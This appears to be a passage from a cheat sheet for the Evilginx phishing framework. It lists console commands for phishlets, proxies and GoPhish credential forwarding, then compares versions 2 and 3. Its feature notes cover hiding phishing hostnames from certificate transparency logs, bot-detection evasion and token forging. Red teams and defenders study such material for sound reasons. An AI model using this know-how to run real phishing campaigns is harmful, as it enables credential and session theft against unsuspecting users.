blacklist log off Disable blacklist logging
Phishlets phishlets create <name> Create new phishlet
phishlets delete <name> Delete phishlet
Config config gophish insecure Allow insecure GoPhish connection
config gophish submit_credentials Push creds to GoPhish
config gophish hash_passwords Hash passwords before sending
Proxy proxy Show proxy config
proxy type <type> Set type: http, https, socks5, socks5h
proxy address <addr> Proxy server address
proxy port <port> Proxy server port
proxy username <user> Auth username
proxy password <pass> Auth password
proxy enable Enable outbound proxy
proxy disable Disable outbound proxy
Help help List all commands
help <command> Command help
clear Clear console
exit Exit Evilginx

#Evilginx 2 vs 3

#Breaking Changes & Renamed Commands

Area Evilginx 2.x Evilginx 3.x
Global unauth redirect config redirect_url <url> config unauth_url <url> (renamed)
Phishlet redirect Not per-phishlet phishlets unauth_url <name> <url>
Phishlet format v2.3.0 YAML v3.0.0 YAML (breaking - must rewrite)
TLS certificates LetsEncrypt only ACME + custom certs + wildcard
Wildcard certs Not supported Supported (Pro - hides hostname from CT)
Cache control Browser can cache Auto Cache-Control: no-cache injected
JS injection Inline scripts External script references
GoPhish integration Manual / evilgophish Native config gophish commands (v3.3+)
Single-page app redirect Broken on SPAs Long-poll JS redirect on capture
Per-phishlet default redirect Not available redirect_url field in phishlet YAML (v3.2+)
Lure pausing Not available lures pause <id> <duration>
Lure bulk URL export Not available lures get-url <id> import/export
Intercept section Not available intercept in phishlet YAML
Bot detection bypass Basic blacklist Botguard (Pro) - spoof page served
auto_filter Manual sub_filters auto_filter: true in proxy_hosts

#Key v3 Features Summary

Feature Notes
Wildcard TLS Prevents hostname appearing in CT logs (Pro)
auto_filter Auto-generates sub_filters from proxy_hosts
intercept section Return custom HTTP responses to block requests
Per-lure info field Operator notes on lures
Lure pause/unpause Temporarily disable lure with timer
JSON POST injection force_post works on JSON body requests
Custom TLS certs Place in ~/.evilginx/crt/sites/<hostname>/
GoPhish native bridge Track open/click/capture in GoPhish UI
Proxy origin awareness Reads real IP through Nginx/Cloudflare/Apache
Evilpuppet Automated background browser puppet for token forging (Pro)

#Also See

#Cyber Aurelien Guidi